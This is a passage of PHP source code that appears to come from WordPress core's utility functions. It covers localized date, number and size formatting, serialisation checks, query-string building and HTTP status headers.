* @param bool $translate Whether the return date should be translated. Default true.
* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
*/
function mysql2date( $format, $date, $translate = true ) {
if ( empty( $date ) ) {
return false;
}
if ( 'G' == $format ) {
return strtotime( $date . ' +0000' );
}
$i = strtotime( $date );
if ( 'U' == $format ) {
return $i;
}
if ( $translate ) {
return date_i18n( $format, $i );
} else {
return date( $format, $i );
}
}
/**
* Retrieve the current time based on specified type.
*
* The 'mysql' type will return the time in the format for MySQL DATETIME field.
* The 'timestamp' type will return the current timestamp.
* Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
*
* If $gmt is set to either '1' or 'true', then both types will use GMT time.
* if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
*
* @since 1.0.0
*
* @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
* format string (e.g. 'Y-m-d').
* @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.
* @return int|string Integer if $type is 'timestamp', string otherwise.
*/
function current_time( $type, $gmt = 0 ) {
switch ( $type ) {
case 'mysql':
return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
case 'timestamp':
return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
default:
return ( $gmt ) ? gmdate( $type ) : gmdate( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
}
}
/**
* Retrieve the date in localized format, based on a sum of Unix timestamp and
* timezone offset in seconds.
*
* If the locale specifies the locale month and weekday, then the locale will
* take over the format for the date. If it isn't, then the date format string
* will be used instead.
*
* @since 0.71
*
* @global WP_Locale $wp_locale
*
* @param string $dateformatstring Format to display the date.
* @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset in seconds.
* Default false.
* @param bool $gmt Optional. Whether to use GMT timezone. Only applies if timestamp is
* not provided. Default false.
*
* @return string The date, translated if locale specifies it.
*/
function date_i18n( $dateformatstring, $timestamp_with_offset = false, $gmt = false ) {
global $wp_locale;
$i = $timestamp_with_offset;
if ( false === $i ) {
$i = current_time( 'timestamp', $gmt );
}
/*
* Store original value for language with untypical grammars.
* See https://core.trac.wordpress.org/ticket/9396
*/
$req_format = $dateformatstring;
$dateformatstring = preg_replace( '/(?<!\\\\)c/', DATE_W3C, $dateformatstring );
$dateformatstring = preg_replace( '/(?<!\\\\)r/', DATE_RFC2822, $dateformatstring );
if ( ( ! empty( $wp_locale->month ) ) && ( ! empty( $wp_locale->weekday ) ) ) {
$datemonth = $wp_locale->get_month( date( 'm', $i ) );
$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
$dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
$datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
$datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
$dateformatstring = ' ' . $dateformatstring;
$dateformatstring = preg_replace( '/([^\\\])D/', "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( '/([^\\\])F/', "\\1" . backslashit( $datemonth ), $dateformatstring );
$dateformatstring = preg_replace( '/([^\\\])l/', "\\1" . backslashit( $dateweekday ), $dateformatstring );
$dateformatstring = preg_replace( '/([^\\\])M/', "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( '/([^\\\])a/', "\\1" . backslashit( $datemeridiem ), $dateformatstring );
$dateformatstring = preg_replace( '/([^\\\])A/', "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) - 1 );
}
$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
$timezone_formats_re = implode( '|', $timezone_formats );
if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
$timezone_string = get_option( 'timezone_string' );
if ( false === $timestamp_with_offset && $gmt ) {
$timezone_string = 'UTC';
}
if ( $timezone_string ) {
$timezone_object = timezone_open( $timezone_string );
$date_object = date_create( null, $timezone_object );
foreach ( $timezone_formats as $timezone_format ) {
if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
$formatted = date_format( $date_object, $timezone_format );
$dateformatstring = ' ' . $dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) - 1 );
}
}
} else {
$offset = get_option( 'gmt_offset' );
foreach ( $timezone_formats as $timezone_format ) {
if ( 'I' === $timezone_format ) {
continue;
}
if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
if ( 'Z' === $timezone_format ) {
$formatted = (string) ( $offset * HOUR_IN_SECONDS );
} else {
$prefix = '';
$hours = (int) $offset;
$separator = '';
$minutes = abs( ( $offset - $hours ) * 60 );
if ( 'T' === $timezone_format ) {
$prefix = 'GMT';
} elseif ( 'e' === $timezone_format || 'P' === $timezone_format ) {
$separator = ':';
}
$formatted = sprintf( '%s%+03d%s%02d', $prefix, $hours, $separator, $minutes );
}
$dateformatstring = ' ' . $dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1 );
}
}
}
}
$j = @date( $dateformatstring, $i );
/**
* Filters the date formatted based on the locale.
*
* @since 2.8.0
*
* @param string $j Formatted date string.
* @param string $req_format Format to display the date.
* @param int $i A sum of Unix timestamp and timezone offset in seconds.
* @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was
* not provided. Default false.
*/
$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
return $j;
}
/**
* Determines if the date should be declined.
*
* If the locale specifies that month names require a genitive case in certain
* formats (like 'j F Y'), the month name will be replaced with a correct form.
*
* @since 4.4.0
*
* @global WP_Locale $wp_locale
*
* @param string $date Formatted date string.
* @return string The date, declined if locale specifies it.
*/
function wp_maybe_decline_date( $date ) {
global $wp_locale;
// i18n functions are not available in SHORTINIT mode
if ( ! function_exists( '_x' ) ) {
return $date;
}
/* translators: If months in your language require a genitive case,
* translate this to 'on'. Do not translate into your own language.
*/
if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
// Match a format like 'j F Y' or 'j. F'
if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
$months = $wp_locale->month;
$months_genitive = $wp_locale->month_genitive;
foreach ( $months as $key => $month ) {
$months[ $key ] = '# ' . $month . '( |$)#u';
}
foreach ( $months_genitive as $key => $month ) {
$months_genitive[ $key ] = ' ' . $month . '$1';
}
$date = preg_replace( $months, $months_genitive, $date );
}
}
// Used for locale-specific rules
$locale = get_locale();
if ( 'ca' === $locale ) {
// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
}
return $date;
}
/**
* Convert float number to format based on the locale.
*
* @since 2.3.0
*
* @global WP_Locale $wp_locale
*
* @param float $number The number to convert based on locale.
* @param int $decimals Optional. Precision of the number of decimal places. Default 0.
* @return string Converted number in string format.
*/
function number_format_i18n( $number, $decimals = 0 ) {
global $wp_locale;
if ( isset( $wp_locale ) ) {
$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
} else {
$formatted = number_format( $number, absint( $decimals ) );
}
/**
* Filters the number formatted based on the locale.
*
* @since 2.8.0
* @since 4.9.0 The `$number` and `$decimals` parameters were added.
*
* @param string $formatted Converted number in string format.
* @param float $number The number to convert based on locale.
* @param int $decimals Precision of the number of decimal places.
*/
return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
}
/**
* Convert number of bytes largest unit bytes will fit into.
*
* It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
* number of bytes to human readable number by taking the number of that unit
* that the bytes will go into it. Supports TB value.
*
* Please note that integers in PHP are limited to 32 bits, unless they are on
* 64 bit architecture, then they have 64 bit size. If you need to place the
* larger size then what PHP integer type will hold, then use a string. It will
* be converted to a double, which should always have 64 bit length.
*
* Technically the correct unit names for powers of 1024 are KiB, MiB etc.
*
* @since 2.3.0
*
* @param int|string $bytes Number of bytes. Note max integer size for integers.
* @param int $decimals Optional. Precision of number of decimal places. Default 0.
* @return string|false False on failure. Number string on success.
*/
function size_format( $bytes, $decimals = 0 ) {
$quant = array(
'TB' => TB_IN_BYTES,
'GB' => GB_IN_BYTES,
'MB' => MB_IN_BYTES,
'KB' => KB_IN_BYTES,
'B' => 1,
);
if ( 0 === $bytes ) {
return number_format_i18n( 0, $decimals ) . ' B';
}
foreach ( $quant as $unit => $mag ) {
if ( doubleval( $bytes ) >= $mag ) {
return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
}
}
return false;
}
/**
* Convert a duration to human readable format.
*
* @since 5.1.0
*
* @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss),
* with a possible prepended negative sign (-).
* @return string|false A human readable duration string, false on failure.
*/
function human_readable_duration( $duration = '' ) {
if ( ( empty( $duration ) || ! is_string( $duration ) ) ) {
return false;
}
$duration = trim( $duration );
// Remove prepended negative sign.
if ( '-' === substr( $duration, 0, 1 ) ) {
$duration = substr( $duration, 1 );
}
// Extract duration parts.
$duration_parts = array_reverse( explode( ':', $duration ) );
$duration_count = count( $duration_parts );
$hour = null;
$minute = null;
$second = null;
if ( 3 === $duration_count ) {
// Validate HH:ii:ss duration format.
if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
return false;
}
// Three parts: hours, minutes & seconds.
list( $second, $minute, $hour ) = $duration_parts;
} elseif ( 2 === $duration_count ) {
// Validate ii:ss duration format.
if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
return false;
}
// Two parts: minutes & seconds.
list( $second, $minute ) = $duration_parts;
} else {
return false;
}
$human_readable_duration = array();
// Add the hour part to the string.
if ( is_numeric( $hour ) ) {
/* translators: Time duration in hour or hours. */
$human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour );
}
// Add the minute part to the string.
if ( is_numeric( $minute ) ) {
/* translators: Time duration in minute or minutes. */
$human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute );
}
// Add the second part to the string.
if ( is_numeric( $second ) ) {
/* translators: Time duration in second or seconds. */
$human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second );
}
return implode( ', ', $human_readable_duration );
}
/**
* Get the week start and end from the datetime or date string from MySQL.
*
* @since 0.71
*
* @param string $mysqlstring Date or datetime field type from MySQL.
* @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
* @return array Keys are 'start' and 'end'.
*/
function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
// MySQL string year.
$my = substr( $mysqlstring, 0, 4 );
// MySQL string month.
$mm = substr( $mysqlstring, 8, 2 );
// MySQL string day.
$md = substr( $mysqlstring, 5, 2 );
// The timestamp for MySQL string day.
$day = mktime( 0, 0, 0, $md, $mm, $my );
// The day of the week from the timestamp.
$weekday = date( 'w', $day );
if ( ! is_numeric( $start_of_week ) ) {
$start_of_week = get_option( 'start_of_week' );
}
if ( $weekday < $start_of_week ) {
$weekday += 7;
}
// The most recent week start day on or before $day.
$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
// $start + 1 week - 1 second.
$end = $start + WEEK_IN_SECONDS - 1;
return compact( 'start', 'end' );
}
/**
* Unserialize value only if it was serialized.
*
* @since 2.0.0
*
* @param string $original Maybe unserialized original, if is needed.
* @return mixed Unserialized data can be any type.
*/
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) { // don't attempt to unserialize data that wasn't serialized going in
return @unserialize( $original );
}
return $original;
}
/**
* Check value to find if it was serialized.
*
* If $data is not an string, then returned value will always be false.
* Serialized data is always a string.
*
* @since 2.0.5
*
* @param string $data Value to check to see if was serialized.
* @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
* @return bool False if not serialized and true if it was.
*/
function is_serialized( $data, $strict = true ) {
// if it isn't a string, it isn't serialized.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( 'N;' == $data ) {
return true;
}
if ( strlen( $data ) < 4 ) {
return false;
}
if ( ':' !== $data[1] ) {
return false;
}
if ( $strict ) {
$lastc = substr( $data, -1 );
if ( ';' !== $lastc && '}' !== $lastc ) {
return false;
}
} else {
$semicolon = strpos( $data, ';' );
$brace = strpos( $data, '}' );
// Either ; or } must exist.
if ( false === $semicolon && false === $brace ) {
return false;
}
// But neither must be in the first X characters.
if ( false !== $semicolon && $semicolon < 3 ) {
return false;
}
if ( false !== $brace && $brace < 4 ) {
return false;
}
}
$token = $data[0];
switch ( $token ) {
case 's':
if ( $strict ) {
if ( '"' !== substr( $data, -2, 1 ) ) {
return false;
}
} elseif ( false === strpos( $data, '"' ) ) {
return false;
}
// or else fall through
case 'a':
case 'O':
return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
case 'b':
case 'i':
case 'd':
$end = $strict ? '$' : '';
return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
}
return false;
}
/**
* Check whether serialized data is of string type.
*
* @since 2.0.5
*
* @param string $data Serialized data.
* @return bool False if not a serialized string, true if it is.
*/
function is_serialized_string( $data ) {
// if it isn't a string, it isn't a serialized string.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( strlen( $data ) < 4 ) {
return false;
} elseif ( ':' !== $data[1] ) {
return false;
} elseif ( ';' !== substr( $data, -1 ) ) {
return false;
} elseif ( $data[0] !== 's' ) {
return false;
} elseif ( '"' !== substr( $data, -2, 1 ) ) {
return false;
} else {
return true;
}
}
/**
* Serialize data, if needed.
*
* @since 2.0.5
*
* @param string|array|object $data Data that might be serialized.
* @return mixed A scalar data
*/
function maybe_serialize( $data ) {
if ( is_array( $data ) || is_object( $data ) ) {
return serialize( $data );
}
// Double serialization is required for backward compatibility.
// See https://core.trac.wordpress.org/ticket/12930
// Also the world will end. See WP 3.6.1.
if ( is_serialized( $data, false ) ) {
return serialize( $data );
}
return $data;
}
/**
* Retrieve post title from XMLRPC XML.
*
* If the title element is not part of the XML, then the default post title from
* the $post_default_title will be used instead.
*
* @since 0.71
*
* @global string $post_default_title Default XML-RPC post title.
*
* @param string $content XMLRPC XML Request content
* @return string Post title
*/
function xmlrpc_getposttitle( $content ) {
global $post_default_title;
if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
$post_title = $matchtitle[1];
} else {
$post_title = $post_default_title;
}
return $post_title;
}
/**
* Retrieve the post category or categories from XMLRPC XML.
*
* If the category element is not found, then the default post category will be
* used. The return type then would be what $post_default_category. If the
* category is found, then it will always be an array.
*
* @since 0.71
*
* @global string $post_default_category Default XML-RPC post category.
*
* @param string $content XMLRPC XML Request content
* @return string|array List of categories or category name.
*/
function xmlrpc_getpostcategory( $content ) {
global $post_default_category;
if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
$post_category = trim( $matchcat[1], ',' );
$post_category = explode( ',', $post_category );
} else {
$post_category = $post_default_category;
}
return $post_category;
}
/**
* XMLRPC XML content without title and category elements.
*
* @since 0.71
*
* @param string $content XML-RPC XML Request content.
* @return string XMLRPC XML Request content without title and category elements.
*/
function xmlrpc_removepostdata( $content ) {
$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
$content = trim( $content );
return $content;
}
/**
* Use RegEx to extract URLs from arbitrary content.
*
* @since 3.7.0
*
* @param string $content Content to extract URLs from.
* @return array URLs found in passed string.
*/
function wp_extract_urls( $content ) {
preg_match_all(
"#([\"']?)("
. '(?:([\w-]+:)?//?)'
. '[^\s()<>]+'
. '[.]'
. '(?:'
. '\([\w\d]+\)|'
. '(?:'
. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
. '(?:[:]\d+)?/?'
. ')+'
. ')'
. ")\\1#",
$content,
$post_links
);
$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
return array_values( $post_links );
}
/**
* Check content for video and audio links to add as enclosures.
*
* Will not add enclosures that have already been added and will
* remove enclosures that are no longer in the post. This is called as
* pingbacks and trackbacks.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $content Post Content.
* @param int $post_ID Post ID.
*/
function do_enclose( $content, $post_ID ) {
global $wpdb;
//TODO: Tidy this ghetto code up and make the debug code optional
include_once( ABSPATH . WPINC . '/class-IXR.php' );
$post_links = array();
$pung = get_enclosed( $post_ID );
$post_links_temp = wp_extract_urls( $content );
foreach ( $pung as $link_test ) {
if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
$mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%' ) );
foreach ( $mids as $mid ) {
delete_metadata_by_mid( 'post', $mid );
}
}
}
foreach ( (array) $post_links_temp as $link_test ) {
if ( ! in_array( $link_test, $pung ) ) { // If we haven't pung it already
$test = @parse_url( $link_test );
if ( false === $test ) {
continue;
}
if ( isset( $test['query'] ) ) {
$post_links[] = $link_test;
} elseif ( isset( $test['path'] ) && ( $test['path'] != '/' ) && ( $test['path'] != '' ) ) {
$post_links[] = $link_test;
}
}
}
/**
* Filters the list of enclosure links before querying the database.
*
* Allows for the addition and/or removal of potential enclosures to save
* to postmeta before checking the database for existing enclosures.
*
* @since 4.4.0
*
* @param array $post_links An array of enclosure links.
* @param int $post_ID Post ID.
*/
$post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
foreach ( (array) $post_links as $url ) {
if ( $url != '' && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
if ( $headers = wp_get_http_headers( $url ) ) {
$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
$allowed_types = array( 'video', 'audio' );
// Check to see if we can figure out the mime type from
// the extension
$url_parts = @parse_url( $url );
if ( false !== $url_parts ) {
$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
if ( ! empty( $extension ) ) {
foreach ( wp_get_mime_types() as $exts => $mime ) {
if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
$type = $mime;
break;
}
}
}
}
if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types ) ) {
add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
}
}
}
}
}
/**
* Retrieve HTTP Headers from URL.
*
* @since 1.5.1
*
* @param string $url URL to retrieve HTTP headers from.
* @param bool $deprecated Not Used.
* @return bool|string False on failure, headers on success.
*/
function wp_get_http_headers( $url, $deprecated = false ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '2.7.0' );
}
$response = wp_safe_remote_head( $url );
if ( is_wp_error( $response ) ) {
return false;
}
return wp_remote_retrieve_headers( $response );
}
/**
* Determines whether the publish date of the current post in the loop is different
* from the publish date of the previous post in the loop.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 0.71
*
* @global string $currentday The day of the current post in the loop.
* @global string $previousday The day of the previous post in the loop.
*
* @return int 1 when new day, 0 if not a new day.
*/
function is_new_day() {
global $currentday, $previousday;
if ( $currentday != $previousday ) {
return 1;
} else {
return 0;
}
}
/**
* Build URL query based on an associative and, or indexed array.
*
* This is a convenient function for easily building url queries. It sets the
* separator to '&' and uses _http_build_query() function.
*
* @since 2.3.0
*
* @see _http_build_query() Used to build the query
* @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
* http_build_query() does.
*
* @param array $data URL-encode key/value pairs.
* @return string URL-encoded string.
*/
function build_query( $data ) {
return _http_build_query( $data, null, '&', '', false );
}
/**
* From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
*
* @since 3.2.0
* @access private
*
* @see https://secure.php.net/manual/en/function.http-build-query.php
*
* @param array|object $data An array or object of data. Converted to array.
* @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
* Default null.
* @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
* Default null.
* @param string $key Optional. Used to prefix key name. Default empty.
* @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
*
* @return string The query string.
*/
function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
$ret = array();
foreach ( (array) $data as $k => $v ) {
if ( $urlencode ) {
$k = urlencode( $k );
}
if ( is_int( $k ) && $prefix != null ) {
$k = $prefix . $k;
}
if ( ! empty( $key ) ) {
$k = $key . '%5B' . $k . '%5D';
}
if ( $v === null ) {
continue;
} elseif ( $v === false ) {
$v = '0';
}
if ( is_array( $v ) || is_object( $v ) ) {
array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) );
} elseif ( $urlencode ) {
array_push( $ret, $k . '=' . urlencode( $v ) );
} else {
array_push( $ret, $k . '=' . $v );
}
}
if ( null === $sep ) {
$sep = ini_get( 'arg_separator.output' );
}
return implode( $sep, $ret );
}
/**
* Retrieves a modified URL query string.
*
* You can rebuild the URL and append query variables to the URL query by using this function.
* There are two ways to use this function; either a single key and value, or an associative array.
*
* Using a single key and value:
*
* add_query_arg( 'key', 'value', 'http://example.com' );
*
* Using an associative array:
*
* add_query_arg( array(
* 'key1' => 'value1',
* 'key2' => 'value2',
* ), 'http://example.com' );
*
* Omitting the URL from either use results in the current URL being used
* (the value of `$_SERVER['REQUEST_URI']`).
*
* Values are expected to be encoded appropriately with urlencode() or rawurlencode().
*
* Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
*
* Important: The return value of add_query_arg() is not escaped by default. Output should be
* late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
* (XSS) attacks.
*
* @since 1.5.0
*
* @param string|array $key Either a query variable key, or an associative array of query variables.
* @param string $value Optional. Either a query variable value, or a URL to act upon.
* @param string $url Optional. A URL to act upon.
* @return string New URL query string (unescaped).
*/
function add_query_arg() {
$args = func_get_args();
if ( is_array( $args[0] ) ) {
if ( count( $args ) < 2 || false === $args[1] ) {
$uri = $_SERVER['REQUEST_URI'];
} else {
$uri = $args[1];
}
} else {
if ( count( $args ) < 3 || false === $args[2] ) {
$uri = $_SERVER['REQUEST_URI'];
} else {
$uri = $args[2];
}
}
if ( $frag = strstr( $uri, '#' ) ) {
$uri = substr( $uri, 0, -strlen( $frag ) );
} else {
$frag = '';
}
if ( 0 === stripos( $uri, 'http://' ) ) {
$protocol = 'http://';
$uri = substr( $uri, 7 );
} elseif ( 0 === stripos( $uri, 'https://' ) ) {
$protocol = 'https://';
$uri = substr( $uri, 8 );
} else {
$protocol = '';
}
if ( strpos( $uri, '?' ) !== false ) {
list( $base, $query ) = explode( '?', $uri, 2 );
$base .= '?';
} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
$base = $uri . '?';
$query = '';
} else {
$base = '';
$query = $uri;
}
wp_parse_str( $query, $qs );
$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
if ( is_array( $args[0] ) ) {
foreach ( $args[0] as $k => $v ) {
$qs[ $k ] = $v;
}
} else {
$qs[ $args[0] ] = $args[1];
}
foreach ( $qs as $k => $v ) {
if ( $v === false ) {
unset( $qs[ $k ] );
}
}
$ret = build_query( $qs );
$ret = trim( $ret, '?' );
$ret = preg_replace( '#=(&|$)#', '$1', $ret );
$ret = $protocol . $base . $ret . $frag;
$ret = rtrim( $ret, '?' );
return $ret;
}
/**
* Removes an item or items from a query string.
*
* @since 1.5.0
*
* @param string|array $key Query key or keys to remove.
* @param bool|string $query Optional. When false uses the current URL. Default false.
* @return string New URL query string.
*/
function remove_query_arg( $key, $query = false ) {
if ( is_array( $key ) ) { // removing multiple keys
foreach ( $key as $k ) {
$query = add_query_arg( $k, false, $query );
}
return $query;
}
return add_query_arg( $key, false, $query );
}
/**
* Returns an array of single-use query variable names that can be removed from a URL.
*
* @since 4.4.0
*
* @return array An array of parameters to remove from the URL.
*/
function wp_removable_query_args() {
$removable_query_args = array(
'activate',
'activated',
'approved',
'deactivate',
'deleted',
'disabled',
'enabled',
'error',
'hotkeys_highlight_first',
'hotkeys_highlight_last',
'locked',
'message',
'same',
'saved',
'settings-updated',
'skipped',
'spammed',
'trashed',
'unspammed',
'untrashed',
'update',
'updated',
'wp-post-new-reload',
);
/**
* Filters the list of query variables to remove.
*
* @since 4.2.0
*
* @param array $removable_query_args An array of query variables to remove from a URL.
*/
return apply_filters( 'removable_query_args', $removable_query_args );
}
/**
* Walks the array while sanitizing the contents.
*
* @since 0.71
*
* @param array $array Array to walk while sanitizing contents.
* @return array Sanitized $array.
*/
function add_magic_quotes( $array ) {
foreach ( (array) $array as $k => $v ) {
if ( is_array( $v ) ) {
$array[ $k ] = add_magic_quotes( $v );
} else {
$array[ $k ] = addslashes( $v );
}
}
return $array;
}
/**
* HTTP request for URI to retrieve content.
*
* @since 1.5.1
*
* @see wp_safe_remote_get()
*
* @param string $uri URI/URL of web page to retrieve.
* @return false|string HTTP content. False on failure.
*/
function wp_remote_fopen( $uri ) {
$parsed_url = @parse_url( $uri );
if ( ! $parsed_url || ! is_array( $parsed_url ) ) {
return false;
}
$options = array();
$options['timeout'] = 10;
$response = wp_safe_remote_get( $uri, $options );
if ( is_wp_error( $response ) ) {
return false;
}
return wp_remote_retrieve_body( $response );
}
/**
* Set up the WordPress query.
*
* @since 2.0.0
*
* @global WP $wp_locale
* @global WP_Query $wp_query
* @global WP_Query $wp_the_query
*
* @param string|array $query_vars Default WP_Query arguments.
*/
function wp( $query_vars = '' ) {
global $wp, $wp_query, $wp_the_query;
$wp->main( $query_vars );
if ( ! isset( $wp_the_query ) ) {
$wp_the_query = $wp_query;
}
}
/**
* Retrieve the description for the HTTP status.
*
* @since 2.3.0
* @since 3.9.0 Added status codes 418, 428, 429, 431, and 511.
* @since 4.5.0 Added status codes 308, 421, and 451.
* @since 5.1.0 Added status code 103.
*
* @global array $wp_header_to_desc
*
* @param int $code HTTP status code.
* @return string Empty string if not found, or description if found.
*/
function get_status_header_desc( $code ) {
global $wp_header_to_desc;
$code = absint( $code );
if ( ! isset( $wp_header_to_desc ) ) {
$wp_header_to_desc = array(
100 => 'Continue',
101 => 'Switching Protocols',
102 => 'Processing',
103 => 'Early Hints',
200 => 'OK',
201 => 'Created',
202 => 'Accepted',
203 => 'Non-Authoritative Information',
204 => 'No Content',
205 => 'Reset Content',
206 => 'Partial Content',
207 => 'Multi-Status',
226 => 'IM Used',
300 => 'Multiple Choices',
301 => 'Moved Permanently',
302 => 'Found',
303 => 'See Other',
304 => 'Not Modified',
305 => 'Use Proxy',
306 => 'Reserved',
307 => 'Temporary Redirect',
308 => 'Permanent Redirect',
400 => 'Bad Request',
401 => 'Unauthorized',
402 => 'Payment Required',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
406 => 'Not Acceptable',
407 => 'Proxy Authentication Required',
408 => 'Request Timeout',
409 => 'Conflict',
410 => 'Gone',
411 => 'Length Required',
412 => 'Precondition Failed',
413 => 'Request Entity Too Large',
414 => 'Request-URI Too Long',
415 => 'Unsupported Media Type',
416 => 'Requested Range Not Satisfiable',
417 => 'Expectation Failed',
418 => 'I\'m a teapot',
421 => 'Misdirected Request',
422 => 'Unprocessable Entity',
423 => 'Locked',
424 => 'Failed Dependency',
426 => 'Upgrade Required',
428 => 'Precondition Required',
429 => 'Too Many Requests',
431 => 'Request Header Fields Too Large',
451 => 'Unavailable For Legal Reasons',
500 => 'Internal Server Error',
501 => 'Not Implemented',
502 => 'Bad Gateway',
503 => 'Service Unavailable',
504 => 'Gateway Timeout',
505 => 'HTTP Version Not Supported',
506 => 'Variant Also Negotiates',
507 => 'Insufficient Storage',
510 => 'Not Extended',
511 => 'Network Authentication Required',
);
}
if ( isset( $wp_header_to_desc[ $code ] ) ) {
return $wp_header_to_desc[ $code ];
} else {
return '';
}
}
/**
* Set HTTP status header.
*
* @since 2.0.0
* @since 4.4.0 Added the `$description` parameter.
*
* @see get_status_header_desc()
*
* @param int $code HTTP status code.
* @param string $description Optional. A custom description for the HTTP status.
*/
function status_header( $code, $description = '' ) {
if ( ! $description ) {
$description = get_status_header_desc( $code );
}
if ( empty( $description ) ) {
return;
}
$protocol = wp_get_server_protocol();
$status_header = "$protocol $code $description";
if ( function_exists( 'apply_filters' ) ) {
/**
* Filters an HTTP status header.
*
* @since 2.2.0
*
* @param string $status_header HTTP status header.
* @param int $code HTTP status code.
* @param string $description Description for the status code.
* @param string $protocol Server protocol.
*/
$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
}
@header( $status_header, true, $code );
}
/**
* Get the header information to prevent caching.
*
* The several different headers cover the different ways cache prevention
* is handled by different browsers
*
* @since 2.8.0
*
* @return array The associative array of header names and field values.
*/
function wp_get_nocache_headers() {
$headers = array(
'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
);
